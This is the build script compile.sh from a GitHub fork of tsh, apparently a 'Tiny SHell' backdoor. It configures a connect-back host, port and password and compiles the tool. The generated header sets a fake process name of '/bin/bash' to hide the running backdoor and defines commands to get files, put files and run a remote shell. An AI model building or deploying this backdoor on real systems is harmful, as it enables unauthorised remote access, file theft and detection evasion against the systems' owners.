forked from orangetw/tsh
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcompile.sh
executable file
·67 lines (50 loc) · 950 Bytes
/
compile.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#/bin/bash
# define
SCIPRTNAME="${0##*/}"
PASSWORD="DEFAULT PASSWORD"
BC_HOST="localhost"
BC_PORT=7856
BC_TIME=30
#
cd "$(dirname "$PWD/$0")"
usage() {
echo
echo usage:
echo $SCIPRTNAME os BC_HOST BC_PORT [PASSWORD] [BC_DELAY]
echo $SCIPRTNAME os 8.8.8.8 8081
echo $SCIPRTNAME os 8.8.8.8 8081 mypassword 60
echo
make 2>&1 | sed "s/make/$SCIPRTNAME/g"
}
get() {
if test $2; then
eval $1=$2
fi
}
# print usage
if [ $# -lt 3 ]; then
usage
exit
fi
# get args
get os $1
get BC_HOST $2
get BC_PORT $3
get PASSWORD $4
get BC_TIME $5
# write to configuration file
cat > tsh.h <<_EOF
#ifndef _TSH_H
#define _TSH_H
char *secret = "$PASSWORD";
#define SERVER_PORT $BC_PORT
#define CONNECT_BACK_HOST "$BC_HOST"
#define CONNECT_BACK_DELAY $BC_TIME
#define FAKE_PROC_NAME "/bin/bash"
#define GET_FILE 1
#define PUT_FILE 2
#define RUNSHELL 3
#endif /* tsh.h */
_EOF
# make file
make $1